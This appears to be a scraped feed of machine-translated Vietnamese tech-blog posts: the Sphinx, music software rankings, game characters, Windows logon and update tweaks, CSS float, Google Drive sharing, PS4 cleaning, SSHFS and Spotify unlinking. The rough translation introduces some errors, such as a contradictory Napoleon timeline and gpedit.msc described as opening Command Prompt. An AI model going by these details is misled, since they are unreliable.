a beard.But now, the Great Sphinx has lost both of these parts and the surrounding story also contains many mysteries.\n  Many people believe that the nose of the statue of the Sphinx was destroyed by Napoleon's gunman when the army arrived in Caairo in the summer of 1798. But there is also the idea that this nose has disappeared before when Napoleon's army arrived here about 50 years ago.\n  The dropped beard was found and is now stored in a museum in England.The fate of the nose is still mysterious and controversial.Until now, the reason and the time of the appearance of the Sphinx as well as the fate of its nose are still unknown without an exact answer.\nDiscover the mysterious mummification process of the ancient Egyptians Pair of giant stone statues emit a mysterious sound in Egypt ncG1vNJzZmismaXArq3KnmWcp51kwamxjKawrKyVp7amv4yapZ1lmaPBpr7ErKuippdis6Kv06xkmpqfqsFuwMeeZKiklJrAtXnEoLCprJmWu26%2Fz6Ggp7A%3D\n","link":"/post/the-mysteries-and-interesting-facts-about-the-oldest-egyptian-sphinx/","section":"post","tags":null,"title":"The mysteries and interesting facts about the oldest Egyptian Sphinx"},{"body":"Perhaps you already know that music making software is indispensable for a producer. And fortunately for the development of software technology, we now have access to the most advanced and intelligent music production applications. Producers are the ones who are most satisfied with this.\nHowever, with the rich amount of software, you will be very difficult to choose the best product for your job. Among the numerous recommendations from software manufacturers about their product capabilities, who would you choose?\n  Helping with that, in this article ThuThu ThuatPhienMach.vn will package your choice with only 5: 5 software for making the best music . Please refer!\nWhat is a Digital Audio Workstation (DAW)? This section will explain the definition of digital audio workstations so that you can understand the role of music making software.\n  Digital Audio Workstation can be in two forms: electronic devices or software applications. It helps music producers record, edit and create audio files (in this case music).\nDAW can be simple or complex depending on user needs and budget. If you have a lot of money like DJ Khaled or Jay Z, you can own a studio with complex equipment and a central computer to control. But you can also turn your PC or laptop into an audio workstation using specialized music software.\nIt would be a mistake to mention the definition of DAW we often think of music production software, but actually software is only a part. A digital audio workstation consists of a computer , sound card , audio interface , software manufacturing digital audio and input devices . All of these pieces combine to form your DAW.\nWe will now focus our review on digital music making software (and they will often require accompanying devices such as sound cards to complete).\nTop 5 best music making software 1. Ableton Live 10 Suite Multitrack music production software   Ableton Live is a digital music recording and production software for MacOS and Windows.\nThis software promises to bring the experience of producing music quickly and smoothly for users. Ableton was introduced with many unique features and this seems no exaggeration.\nAbleton Live integrates a unique session view feature: showing the available utilities, which will become the source of your ideas. You can quickly import an audio file or a session view plugin into the main interface to start working with them. Very convenient for composing.\nAdvanced deviation feature, you can easily change the tempo and real-time of the sound. Especially that you do not have to stop playing the sound, just run and fix as a stream of water!\nSometimes, trouble happens when you do something wrong, I call it an accident. But don't worry too much because Ableton Live will help you edit them with simple manipulations, you can even save that 'accident' and maybe bring you a new idea.\nWith all the effects and features that Ableton Live has at your fingertips, what limits your ability to produce music depends only on your imagination and creativity. In summary, Live boasts over 5000 sounds, 57 effects, and 10 instruments.\nAnd still more .\nEvaluation of ThuThuyenPhucSoft.vn: 5/5\nAdvantages: \nThe software saves the MIDI after your session Abundant effects, instruments and sounds Great support for music production, sound design or live performance Defect:\nQuite expensive (about $ 200) 2. Image Line FL Studio 12 Producer Edition music software   FL Studio 12 seems to be the answer to the wishes of the producers. It comes with a reworked user interface with more exciting features. Its price is also very affordable and completely worth the user experience.\nFL Studio 12 says it will integrate everything you need to create music products, record and edit music. With this Producer version you can easily record both external and internal sound easily without having to sweat a single thing. Post-processing is also strongly integrated.\nWhen editing music, this software will accompany you from the beginning to the end, on the way to provide you with the optimal, intelligent tools. From here you will find it is no longer difficult. You can easily handle operations such as pitch control, time stretching, harmonization, rhythm detection and division, etc.\nIn addition, you can create almost any kind of sound with the help of FL Studio. Its more than 32 aggregated applications guarantee you that. The instruments are also quite complete with electric guitar to piano and violin .\nMoreover, there is no limit to the number of inputs this software can work. It easily allows you to import from multiple sources and process them at the same time on the audio interface. Solo or a comprehensive orchestra performance? FL Studio 12 will say: 'Yes! You and I can do it all! '\nAdvantages:\nAble to handle an unlimited number of recordings Easily edit and rearrange audio Capture every input quantity Updates are available for life Cons: Can be difficult for beginners\nThu Thu ThuatSoftware.vn scored: 4.3 / 5\n3. Propellerhead Reason 10 Multitrack recording software   By comparison, Propellerhead Reason seems to offer far less than other software. However it comes with some useful features that you may need.\nPropellerhead Reason keeps your creativity more open. Thanks to the unique effects and instruments of this software, you can free up the creative flow. All instruments have been designed to give you the truest feeling.\nThe interface of the software is very intuitive layout, simple layout makes them easy to understand and navigate. There are no confusing icons or submenus here. Really very simple and easy to understand.\nFor high quality music, Properllerhead Reason integrates a flexible and smart mix. Everything you need to fine-tune your audio is available, and you're free to sculpt meticulously to create your own work. The software provides VST and Rack Extension plugins to maximize product quality.\nAdvantages:\nEasy to use with simple interface layout Studio control panel Comes with extension plugins Countless effects and instruments for quality sound Cons: Working speed and images need to be improved\nGrade: 5/5\n4. Steinburg Cubase Pro 9 recording software   There is no doubt that Cubase is one of the most popular recording software available on the market today. Its tools are advanced and intuitive, making them extremely easy to use for anyone who needs to create music with average quality.\nIt does have a complete set of MIDI creation and arrangement tools. Highlighting tools include Drum, Scores, Editorial List along with other indispensable tools to create a modern software for modern manufacturers.\nAll the features you need to edit audio are included in this software. With it, you can do things like change the pitch of monophonic signals, edit vocals, compose music quickly, and edit multiple tracks at once. Speed ​​and accuracy are also two great things that you get at Cubase.\nThe software's MixConsole helps you tailor your workflow to your own personal preferences and visions. If you work regularly with a mixer, this MixConsole is made for you.\nCollaborate on the cloud: you can connect with other artists, exchange ideas and be creative. Cloud interoperability of this software is a great integration.\nAdvantages: \nComplete set of MIDI creation tools Easy to use interface Great editing and mixing features The ability to collaborate on cloud, connect with other artists Cons : Does not come with a CD or USB, you must download data from their website\nGrading: 4.5 / 5\n5. Music and recording software PreSonus Studio One 4 Artist   This software is a great choice for budding music producers. In terms of price, PreSonus Studio One is worth the money due to the features it offers. While these features are actually quite amazing, they are also very easy to use.\nThe interface of the software is very intuitive, easy to use, most of the operations are drag and drop. This also helps. Studio One Artist 4 also boasts additional virtual instruments that give you many unique audio options.\nStudio One's mixer is proud to be one of the best and most intuitive features. You will own a high quality mixer without any hassles. The speed and performance of this feature in my judgment is perfect.\nStrength:\nNew interface and many improvements Easy to use Many tools High quality mixer Great multitasking recording Weakness:\nUnable to import mp3 Software crashes sometimes occur Grade 4/5\nConclusion So we have just named together the 5 best music software today. After this article, you will be able to find the best software and make the best choice for your music production career.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqXquwdKimmalkaC2r7OMrKafrKeWv6Y%3D\n","link":"/post/top-5-best-music-making-software/","section":"post","tags":null,"title":"Top 5 best music making software"},{"body":"With over 30 pirates and marines to choose from, it's not easy to judge the strongest of the bunch.\n  In addition, before deciding to unlock, it is best for gamers to target strong characters. Since the cost doesn't come cheap, it's important to spend wisely on unlocking characters in the first place.\nThe following are the TOP of the most powerful and versatile of the playable characters in One Piece: Burning Blood. They have the ability to help motivate teammates and even defeat entire opposing teams on their own.\nMonkey D. Luffy Monkey D. Luffy is one of the balance fighters, also because he is the main character of the series. For those who are new to One Piece: Burning Blood, Luffy is one of the first characters that gamers can use and should definitely consider including on their team.\n  What the Straw Hats lacked in ranged abilities, more than makes up for in speed. Activating the ability puts Luffy into Second Gear, allowing him to quickly progress through levels, increasing the effectiveness of punches and kicks.\nAlthough the basic movement in Fourth Gear is not as expected, the ability to dash and dodge, along with the amount of damage Luffy deals is unbelievable. Luffy can quickly and easily take down opponents, and thanks to his Haki, Logia-type opponents aren't even safe.\nMarco Marco is a quirky warrior, that's what fans of the One Piece manga and anime know. He wields a very rare Zoan-type that grants the power of a phoenix, synonymous with the ability to fly, heal, and Logia-type. While he can't stay in the air forever in Burning Blood, Marco has quite a bit of mobility, power, and range.\n  Marco's movements are sometimes unpredictable, elusive. Range mixed with powerful dashes allows him to be versatile in a match. Gamers can pair Marco with slower fighters to have a new change action, to keep the opponent.\nTrafalgar D. Law What makes Trafalgar D. Law such an interesting fighter in Burning Blood is his fighting method. The player has a strong melee character. With his large sword, Law can deal quite a lot of damage in a 1 vs 1 fight, although not as fast as other swordsmen. Law is still fast enough to get things done, but it's the ability that gives him the edge.\n  Thanks to the Op-Op Fruit, Law controls an area around, providing much more technical abilities than other warriors. Law easily avoids weak points, blocks attacks, and sustains life. While not the easiest to use in Burning Blood, there aren't many One Piece characters better than Law.\ncrocodile Crocodile is a powerful force to be reckoned with, using the Logia powers of the sand, allowing him to alter the makeup of his body and even the surrounding area to trap enemies.\n  Like the other powerful Logia users in Burning Blood, Crocodile is not the fastest option possible. But he has a lot of ranged attacks designed to keep opponents off balance and cover a wide range, to control the paths the enemy can take.\nCrocodile's focus on power and area control makes him a solid choice for any team. When paired with agile characters who can bridge the gap, Crocodile can penetrate, defend, and surround enemies with his terrifying power.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jKyrq6eenLK0wIycn5qqkZjBpr6MoqVmp56aerG1xJycZpqlp7uqusZmmaWnn5k%3D\n","link":"/post/top-strongest-character-in-one-piece-burning-blood/","section":"post","tags":null,"title":"TOP strongest character in One Piece: Burning Blood"},{"body":"When exposed and used a lot with computers, we may get bored with what is so familiar, so in this article, I will show you some software to change the login screen. Log on Windows 7 and Windows XP , to bring a new atmosphere to your familiar computer.\n  WINDOWS 7 LOGON BACKGROUND CHANGER\n As the name implies, this software allows you to change the wallpaper on the Log on screen , but only works on Windows 7 .\n\u0026nbsp;First,\u0026nbsp;Link\u0026nbsp;download HERE\u0026nbsp;:\u0026nbsp;\nhttp://www.mediafire.com/download/zeb3q3h22nre1kj/Win7LogonBackgroundChanger_1_5_2.zip\nThis is a portable software, you do not need to install, after downloading, just extract and run the file Win7LogonBackgroundChanger.exe or if you want to install on your computer, run the file Win7LogonBackgroundChangerSetup.msi\n\n \nTo change the wallpaper, select the images below, the first picture is the default login screen of Windows 7, in case you have changed another wallpaper but want to return to the default, you will select the image this. The middle of the screen is where you will preview the wallpaper you have just selected. \n You also have some options in the Settings section at the top of the screen.\n\n Prevent other users frome changing the background : this feature is for computers with multiple user accounts, it will not allow other accounts to change your wallpaper. Below are 3 other options: No Shadow , Light shadow and Dark shadow , it allows creating shadow effects under text on logon screen. No shadow means there will be no shadows, Light shadows are white shadows, and Dark shadows are black shadows, so you should choose an effect that is suitable for the background to make the text more visible and easier to see. Click OK to accept.\nIn addition to the backgrounds available in the software, you can manually put the images you want to enter by clicking Choose a folder , browse to the folder containing images, the software will list the images contained there for you.\n  \nOnce completed, click Apply, wait for the software to perform. Once completed, you can log out to see the results. Note: If in the process of using the software, you get the Unable to write to folder C: windowssystem32oobeinfobackgrounds error, simply go to C: windows / system32 / oobeinfo and rename the backgrounds folder to backgrounds2.\nLOGON STUDIO XP\n This software is similar to Windows 7 logon background changer but supports both Windows XP, Windows Vista and Windows 7.\nFirst, download and install it HERE. :\u0026nbsp;http://storage.stardock.com/files/LogonStudio_public.exe\nAfter downloading and extracting a .logonvista or .logonxp file, run the file directly to install it, or use the Load function on the main screen of the software to install it.\nStart the software, we have the following interface:\n \u0026nbsp;\nWant to choose any photo, just click on it and click Apply . You can download more wallpapers from the developer's homepage by clicking Download , you will be directed to the homepage, select a picture like that and download to your computer.\n\n If you want, you can still use your own image for the log on screen by clicking Create, enter a name and click Browse to select the desired image file, and then click Save .\n  Your picture will appear on the main screen, select and press Apply . Then the software will automatically Log out for you to see.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51kr6at1K2gn7FdqbWmecuonmannmLApL7EnqVmnp%2Bneri1zZ2msKtdbHqiusNmr6k%3D\n","link":"/post/beautify-the-log-on-screen-for-windows-7-and-xp/","section":"post","tags":null,"title":"Beautify the Log on screen for Windows 7 and XP"},{"body":"float . property The Float property \u0026nbsp;is used to move an element to the left or right corner of the space surrounding it, which is essential in formatting the page layout.\nBy default, all HTML elements are\u0026nbsp; non-float .\nThe Float property\u0026nbsp; \u0026nbsp;can have one of the following values:\nleft : Fixed the element to the left. right: \u0026nbsp;Fixed the element to the right. none: \u0026nbsp;Located in its own place (normal state). inherit \u0026nbsp;: The element inherits the value from the parent float. Syntax of Float tagName {\n float: value;\n} Note : When an element is CSS floated left or right, all tags of the same level after it will overflow and fill the empty row of the row containing the CSS floated left or right tag.\nAttribute Clear Clear is \u0026nbsp;almost the opposite of\u0026nbsp; float. \u0026nbsp;The Clear property\u0026nbsp; \u0026nbsp;prevents component A from taking up the space of component B (with component B being the element using\u0026nbsp; float). \u0026nbsp;Sometimes we do not want to float in certain situations, we will use clear to overcome.\nTo put it simply,\u0026nbsp; clear \u0026nbsp;is used to solve the problem in the\u0026nbsp; float \u0026nbsp;property's\u0026nbsp; notice \u0026nbsp;above.\nThe float property\u0026nbsp; \u0026nbsp;can have one of the following values:\nleft: \u0026nbsp;Overflow to the left. right: \u0026nbsp;Overflow to the right. none: \u0026nbsp;Allow overflow on both sides (default). both: \u0026nbsp;Do not allow overflow to either side inherit \u0026nbsp;: The element inherits the value from the parent float. The most common way to use the Clear property\u0026nbsp; \u0026nbsp;is after you've used the Float property\u0026nbsp; \u0026nbsp;on an element. If an element is floated to the left, you should clear it to the left. Your Float element\u0026nbsp; \u0026nbsp;will continue to float, but the removed element will appear below it on the web page.\nClearfix Clearfix \u0026nbsp;in CSS is a way of using CSS properties to adjust the space of a parent tag relative to child tags that use floats. If an element being floated is higher than the parent element, it will cause the content to overflow. To fix it, we use the clearfix overflow: auto class\u0026nbsp; :\nClearfix overflow: auto \u0026nbsp;is used very effectively, however, it is recommended to use the new Clearfix which is more convenient and easy to use, used for most of the web today:\n.clearfix::after {\n content: \"\";\n clear: both;\n display: table;\n} Box grid layout The best use of float is to create side-by-side box layouts.\n  * {\n box-sizing: border-box;\n}.box {\n float: left;\n width: 33.33%; \n padding: 50px;\n}\n Composition of images placed side by side Float box grid layout like the example above can also be used to display images side by side\n.img-container {\n float: left;\n width: 33.33%;\n padding: 5px; \n}\n Equal height box layout In the previous example, we learned how to float boxes side by side with equal width. However, it is not easy to create boxes of equal height. The quick fix is ​​to set a fixed height:\n.box {\n height: 500px;\n}ncG1vNJzZmismaXArq3KnmWcp51ks627wK1kmqaUYrCtscCrZKmqn6Wys8DInqpmoZ5isLS%2F\n","link":"/post/float-and-clear-properties-in-css/","section":"post","tags":null,"title":"FLOAT and CLEAR properties in CSS"},{"body":"Sharing files via Google Drive or other cloud storage services is no longer new to users, when this form of data sharing is simpler, much faster through the file link. However, when you post an archive file by default, there is a Google Drive file download button available for others to download.\nIn case we just want others to view the content, but do not want to download the file, we can customize the sharing mode right on Google Drive. The following article will guide you to prevent others from downloading files on Google Drive.\nHow to change folder ownership in Google Drive How to set up the right to edit spreadsheets on Google Sheets How to limit the time of sharing links on Google Drive Instructions to block downloading files on Google Drive Step 1:\nWhen clicking on any file stored on Google Drive, by default, there is always a download icon as shown. To block downloads first, click on the 3-dot icon and select Share .\n  Step 2:\nDisplay the Share dialog interface with others. There will be a link to share the file with whoever has the link can view the content. Click the Advanced button below the interface.\n  Step 3:\nIn the interface displayed further below will have the option Settings of the owner . Here users will have 2 options with Google Drive file.\nTo block downloading files click on the Turn off the download, print and copy options for reviewers and viewers . For those who receive the Google Drive file link, they can still view the content but cannot download the file. Finally click Save changes to save.\n  Now try sharing the downloaded file link and will not see the file download button as before.\n  In addition, we can also change who has access to the file, who can access it without registration, only those who have the link can view the content and do not need to log in or share the Google link. Drive with specific people\n  So with just a small change right on Google Drive, others cannot download your data to the computer but they can still view the file contents. You will not worry about downloading and using documents or videos without consent.\nInstructions to block downloading files and videos Google Drive See more:\nHow to download files on Google Drive when the download limit is exceeded How to fix errors do not upload files to Google Drive Restore, retrieve deleted data on Google Drive I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqcpLCsecOorqekn5axqrrGZp2ipJWoeqK6w2atopyVpMBuu81mnqinl6GybrDRoq2e\n","link":"/post/how-to-block-downloading-files-and-videos-on-google-drive/","section":"post","tags":null,"title":"How to block downloading files and videos on Google Drive"},{"body":"Cleaning PS4 can improve its performance and value. Dust is the main enemy with a gaming machine. Since it is common to place your PS4 in a relatively open space, it is very common for dust to accumulate above and inside the system.\nWhy need to clean PS4? Cleaning the PS4 is important because, on the one hand, serious dust accumulation can cause fans to slow down, the system to overheat and sometimes cause the PS4 to stop working. If you want your system to continue working at its best, you need to clean it.\nAlso, many people are interested in reselling their PS4 after owning it for a while. If you clean your system regularly, its value is maintained and can be sold at a much higher price. In the next section, the article will share with readers how to clean PS4.\nPrecautions The best way to keep the PS4 clean is to prevent the dirt from accumulating in the first place. Do this by placing your PS4 in a clean, cool area away from foods and liquids. It is also important to keep the PS4 on a large, flat surface to avoid the possibility of it crashing. A daily routine that is recommended is to clean the PS4 with compressed air or wipe quickly with a microfiber cloth to ensure it is always clean.\nBasic hygiene Most PS4s will require nothing more than basic, quick cleaning. This should be done regularly to prevent more serious dust accumulation, as well as the problems associated with them.\nFor basic cleaning, start by unplugging all the wires and placing the machine on a large, clean surface. Grab an unused paint pen and use it to gently wipe away dust from the PS4 surface and ports. Also, be sure to wipe off dust from the light sensor on the outside of the device.\nNext, take a compressed air bottle and blow away any remaining dirt. If your system is still dirty for some reason, spray cold water on a microfiber cloth and gently wipe the outside of the system.\nDeep cleaning If your PS4 still has a warranty, it's best to do basic cleaning. However, if your machine is no longer under warranty and you feel your PS4 really needs a deep cleaning then follow the instructions in this section. If you've never cleaned the inside of your computer or gaming system, seek help before trying this step.\nYou should start by basic cleaning of the system as mentioned above. Then, remove the screws on the back of the PS4 and detach the bottom half of the device. Use compressed air to clean the dust inside the system, paying special attention to the fan unit. In this step, you need to avoid touching the drive area, because it is easy to be damaged.\nCompressed air may generate moisture if used improperly. So always keep the spray upright to minimize this. Let PS4 dry naturally for half an hour after cleaning the inside.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpucmq6vec%2Bsaw%3D%3D\n","link":"/post/how-to-clean-ps4/","section":"post","tags":null,"title":"How to clean PS4"},{"body":"In Windows 11, you can pause automatic Windows updates for up to 5 weeks. However, at times, you may find the Pause updates option in the Windows Update page grayed out, thus preventing you from delaying the update in the coming weeks.\nIf you're using a work computer, your organization may have turned off pausing updates. On personal computers, this problem can occur if you miss configuring registry values ​​or policies related to updates.\nHere's how to restore the option to pause updates that isn't available in Windows 11.\n1. Restore the option to pause updates using Group Policy Editor Group Policy Editor is an MMC (Microsoft Management Console) software used to modify group policy settings for sites and domains. Using this feature, your organization can disable the Pause update feature for your work computer.\n\u0026nbsp;\nEven on personal computers, incorrectly configuring policy Pause updates can cause the option to be disabled on the Settings page.\nNote that the Group Policy Editor snap-in is not available in the Windows 11 Home edition. So, if you are using the Home version of this operating system, here's how to access the Group Policy Editor in Windows Home.\nFollow these steps to enable policy Pause Updates in the Group Policy Editor:\nStep 1: Press Win + R to open the Run dialog box.\nStep 2: Type gpedit.msc and click OK to open Command Prompt.\nStep 3: In the Group Policy Editor, navigate to the following location:\nComputer Configuration \u0026gt;\u0026gt; Administrative Templates \u0026gt;\u0026gt; Windows Components \u0026gt;\u0026gt; Windows Update \u0026gt;\u0026gt; Manage end user experience Step 4: In the right pane, double-click the Remove access to 'Pause updates' feature policy.\n  Step 5: Select Not Configured or Disabled in the pop-up window.\nStep 6: Click Apply \u0026gt; OK to save the changes. Close the Group Policy Editor.\nStep 7: If the policy has been set to Not configured, then close the Group Policy Editor and move on to the next method.\nStep 8: Next, press Win + X to open the WinX menu.\nStep 9: Click Windows Terminal from the context menu.\nStep 10: In the Windows Terminal window, type the following command and press Enter to force the policy changes to be updated:\ngpupdate /force   Step 11: Close Command Prompt when you see the successful policy update message.\nNow go to Settings \u0026gt; Windows Updates and check if the Pause update option has been restored.\n2. Fix Pause update option grayed out with Registry Editor Registry Editor is a Windows tool that allows you to modify, view, and edit the Windows Registry to add or remove features. For example, you can use it to modify the UX value for the pause update feature, making it work again in Windows update settings.\nNote that incorrectly modifying registry entries can cause your system to misbehave. Therefore, you should create a restore point before continuing with the steps below.\nTo modify the registry value for SetDisablePauseUXAccess:\nStep 1: Press Win + R to open Run.\nStep 2: Type regedit and click OK to open Registry Editor.\nStep 3: In Registry Editor, navigate to the following location. You can also copy and paste the path into the registry editor's address bar for quick navigation:\nComputer/HKEY_LOCAL_MACHINE/SOFTWARE/Policies/Microsoft/Windows/WindowsUpdate Step 4: Inside the WindowsUpdate key (folder), locate the DWORD value SetDisablePauseUXAccess.\nStep 5: Right-click on the value and select Delete. Click Yes to confirm action.\n  Skip if you don't have a value named SetDisablePauseUXAccess inside the Windows Update folder.\nStep 6: After deleting the key, close the Registry Editor and restart the PC. After the reboot, you'll have the update paused in Settings.\nCritical Windows updates deliver performance improvements, security patches, and bug fixes. However, if you're on a limited Internet plan or want to delay installing an update for a few weeks, you can pause the update for up to 35 days.\nYou can also permanently block automatic Windows updates by modifying the update services or using third-party update blocking tools.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqxrdSsnGavmaOxsMPSZqypnJGpsrR5zqmroqeeYruwwIyarZqhnJavrbGMoqVmr5mjsbDD0mZoamlg\n","link":"/post/how-to-fix-pause-windows-updates-option-not-available-in-windows-11-10/","section":"post","tags":null,"title":"How to fix 'Pause Windows Updates' option not available in Windows 11/10"},{"body":"On the Internet, there is definitely no shortage of file synchronization solutions between the two devices. Google Drive, Microsoft OneDrive, NextCloud, etc . may not give you the official Linux client. But perhaps you do not trust a large corporation in storing your important files. Or, maybe, you want a higher level of security than what NextCloud provides, as there are likely to be unexplored security vulnerabilities in existence.\nWhy should I use SSHFS? From an end-user perspective, SSHFS is a simple and very easy to use solution. SSHFS is also extremely secure because it depends on the proven OpenSSH server. SSHFS encryption is also very high, so you can rest assured that no one can steal files during the transfer process. An updated server is correctly configured, only listening to SSH connections, often impossible to crack, unless an attacker comes from NSA or a security specialist, etc. (but maybe they I also don't want to take your files for anything.\nWhy don't you want to use SSHFS? If you want the best transfer speed possible, you can use other solutions like NFS. SSHFS is not the slowest option, if your Internet connection is of high quality, it is not the fastest way. And if you want to move folders containing hundreds of small files, this task becomes really terrible. Also, if you want to tweak file sharing settings, based on individual users or other factors, you may want to use another software.\nIn short, if all you need is an easy, safe, and quick way to synchronize remote folders with a local folder, you'll be happy to use SSHFS.\nInstall SSHFS On Arch Linux-based installations, use the following command:\nsudo pacman -S sshfs  If you use a Fedora-based distribution, use the following command:\nsudo dnf install sshfs  On Debian and Ubuntu, use the command:\nsudo apt install sshfs  For OpenSUSE users, enter the following command:\nsudo zypper install sshfs  Server configuration If you rent a server or VPS, the OpenSSH server daemon has been configured. Follow the steps suggested by the cloud service provider to configure the regular user (not the root). Some providers allow you to do this directly from the web control panel and even allow you to enter a public key to access SSH. In this case, create local key pairs using the ssh-keygen command. Then enter the public key from /home/your_username/.ssh/id_rsa.pub.\nIf the cloud provider does not provide a tool to easily enter public SSH keys, do this manually. At the very least, do not allow root login and disable password login. Instead, use only SSH keys because they cannot be brute-force attacks, as is the case with passwords.\nIf you want to synchronize files between two home computers, just consider one as the server (install the openssh-server package and configure) and consider the other computer as a client, then apply the steps the same, similar.\nMount a local remote directory with SSHFS First, create a folder that will be synchronized with the remote device.\nmkdir $HOME/sshfs  Next, mount the local remote directory via SSHFS. Replace the user with the actual user name created on the server and 203.0.113.1 by the actual IP address name of the remote device.\nsshfs user@203.0.113.1:/home/user $HOME/sshfs  Of course, if you don't want to synchronize the entire user's home directory on the server side, simply replace / home / user with / home / user / some_other_directory after you create it on the server.\nWhen you want to unmount, use this command:\ncd \u0026amp;\u0026amp; fusermount -u $HOME/sshfs  If you want a directory to synchronize permanently with the remote device, add a command like sshfs user@203.0.113.1: / home / user $ HOME / sshfs in the autostart manager. Each graphics manager has a different autostart configuration manager, so refer to the help guide for the desktop environment you are using. Some sources recommend adding / etc / fstab, but you should avoid that, because failing to mount the directory may prevent your system from booting completely.\nHope this article is useful for you. If necessary, you can refer to the following link:\nhttps://linux.die.net/man/1/sshfs  Hope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWfqru1edGepKislWKxqr7EnKuoqqlitq95y6KlrrBdrLa1tIysqqGeow%3D%3D\n","link":"/post/how-to-mount-remote-directory-in-linux-with-sshfs/","section":"post","tags":null,"title":"How to mount remote directory in Linux with SSHFS"},{"body":"Among Us \u0026nbsp;is chaotic enough with a group of 10, but you know you can fill a lobby with 100 players? You may have seen viral videos of 100 Among Us players on YouTube, Tik Tok and other social media platforms.\n  In fact, Among Us 100's gameplay is not officially supported by Innersloth, so the battles can be a bit chaotic and unbalanced at all, but that's still very interesting isn't it. Here is how to play Among Us 100 people on the computer for you to read.\nDownload 100 Player Among Us Player Version Among Us's 100-player mod has been introduced on popular YouTube channels like MrBeast and Socksfor1. You can download them from the link below.\nUsually you'll have to join a popular Discord server to access the mod, but some fans have figured out how to download and install their own mod.\n- Note:\u0026nbsp; How to play Among Us 100\u0026nbsp; can only be done on PC , so iOS and Android players cannot use this method.\nDownload Mod Among Us 100 People here How To Install And Play Among Us Version 100 People Step 1:\u0026nbsp; Open Steam and find Among Us in your Library\u0026nbsp; list\u0026nbsp; .\nStep 2:\u0026nbsp; Right-\u0026nbsp; click\u0026nbsp; on the game and select\u0026nbsp; Manage\u0026nbsp; =\u0026gt; select\u0026nbsp; Browse Local Files .\nStep 3:\u0026nbsp; Extract version 100 Among Us players you have downloaded by\u0026nbsp; WINRAR\u0026nbsp; or some other decompression support tool.\nStep 4:\u0026nbsp; Copy and\u0026nbsp; Paste\u0026nbsp; all the content in the file that appears after extracting into\u0026nbsp; the game folder Among Us\u0026nbsp; on your computer.\nStep 5:\u0026nbsp; Start\u0026nbsp; playing Among Us version 100 people\u0026nbsp; as usual.\n  If you follow these steps correctly, you will be able to host a match Among Us 100 players of your own. You will know if you got everything right if you see the red Socksfor1 text under Ping while in the lobby.\nWish you happy gaming.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiclsZurcyopaBlpah6cnyPZqeep6Chsg%3D%3D\n","link":"/post/how-to-play-among-us-100-people/","section":"post","tags":null,"title":"How to play Among Us 100 people"},{"body":"Spotify is one of the most popular online music streaming services in the world today. Besides, using Spotify is also very simple. You can set up to use your Facebook login information to authenticate your Spotify account, thereby enabling quicker access to the service. This means that if you are logged into Facebook on your browser, you just need to open Spotify Web Player and it is already logged in.\n  How to control Spotify music from any website However, sometimes you may want to log in to your Spotify account with another password, or simply want to 'isolate' your Facebook account from third-party software like Spotify. In this article, we will try to remove Spotify from our personal Facebook account.\nSpotify and Facebook Why should you unlink Spotify with your Facebook account? Reset the Spotify account password Disconnecting Facebook with Spotify is also a solution Remove Spotify from your Facebook account Remove the Spotify link from the Facebook application Enjoy privacy with Spotify Why should you unlink Spotify with your Facebook account? Before deciding to disconnect your Spotify account from your Facebook account, consider carefully why.\nActivating your Spotify account with your Facebook account will allow you to:\nLog in quickly to your Spotify account on any browser you are using to log into Facebook. Access to Spotify account on any mobile phone that you have logged into your Facebook account. You only need to remember one password for both applications, Facebook and Spotify. Link Spotify with personal Facebook data allowing you to:\nEasily connect with your Facebook friends on Spotify and see what their favorite songs are, or their friends' music. Share your favorite songs on Facebook quickly. All of the above features and benefits will completely disappear when you unlink Spotify from your Facebook account.\nBesides, there are many reasons why people are worried about their privacy when linking Spotify to their personal Facebook account. In fact, both of these services have cross-access to user information on the other service. This type of access allows applications to share your interests and tastes with advertisers, not to mention other important personal information that you share with both applications. may also be compromised.\n  How to put Spotify Playlist into an alarm on Android By canceling the link between the two services, you can say your privacy has been guaranteed a little more. Thus, after all, you have to choose between convenience, community connection and your privacy.\nIf you choose privacy, please read on.\nReset the Spotify account password Before starting to unlink Spotify with your Facebook account, make sure you know what your current Spotify password is. A minus point of Spotify is that it doesn't allow users to reset the password in the account settings page like most other apps. However, you can access the research password directly to reset your account password.\n  15 tips Spotify you should not miss to have a better listening experience Disconnecting Facebook with Spotify is also a solution If your main concern is just that Facebook can access Spotify preferences and data, you can turn off the connection between the two apps without disabling the ability to sign up with Spotify with your Facebook account.\n  How to transfer Spotify interface to Vietnamese Follow these steps:\nLog in to your Spotify account. Click on the profile icon (Profile) and select Account. Looking at the list of options menu on the left, click the Privacy Settings item (Privacy Settings). Scroll down to the Facebook data section and turn off the Process my Facebook data option. In the confirmation dialog, select Yes - Turn Off. After performing the above steps, Spotify will stop processing data about the people you share music with, and Spotify will not be able to interfere with Facebook contacts and perform many other private features. However, the Spotify login feature via Facebook account will still be maintained.\nIn short, disconnecting Facebook from Spotify will help improve privacy by blocking Spotify from accessing your Facebook data.\nRemove Spotify from your Facebook account Because Spotify often encourages users to link their Spotify account to their Facebook account, removing the link between the two applications will be complicated.\nSpotify services in which you will not be able to unlink from Facebook include:\nSpotify Web Player: You can only disconnect Facebook data but cannot stop logging in with Facebook. Spotify Desktop application: There is no option to disconnect from Facebook from the desktop application. Spotify Mobile: The option to remove Spotify from Facebook accounts is not supported. Still, there is a way to disconnect your Facebook account from Spotify.\n  How to increase the Spotify experience with support websites Again, make sure that you have changed the Spotify account password before following the steps below. Because Spotify doesn't allow you to disconnect completely from Facebook on its platform, you'll need to disconnect from Spotify from your Facebook account.\nLog in to your Facebook account and follow the steps below to force disconnect from Spotify.\nClick the drop-down menu at the top right of the main Facebook page and then click the setting item (Settings). On the navigation pane on the left side of the screen, select Apps and Websites. Scroll down until you see the Spotify application and check the box to select the application name. You will see a message saying that this action may delete your Spotify account, but in fact it is not. Select Remove. Note: Do not choose to delete all posts, photos and videos unless you really want all your Spotify posts on Facebook to be completely deleted.\nAfter completing the above steps, you can return to Spotify Web Player and log in with your new password. Facebook login feature will no longer be available.\nRemove the Spotify link from the Facebook application If you don't use Facebook in your browser, you can also disconnect Spotify using the Facebook app for Android or iOS by following these steps:\nOpen the Facebook application on your phone. Click the three horizontal bars icon (menu). Select 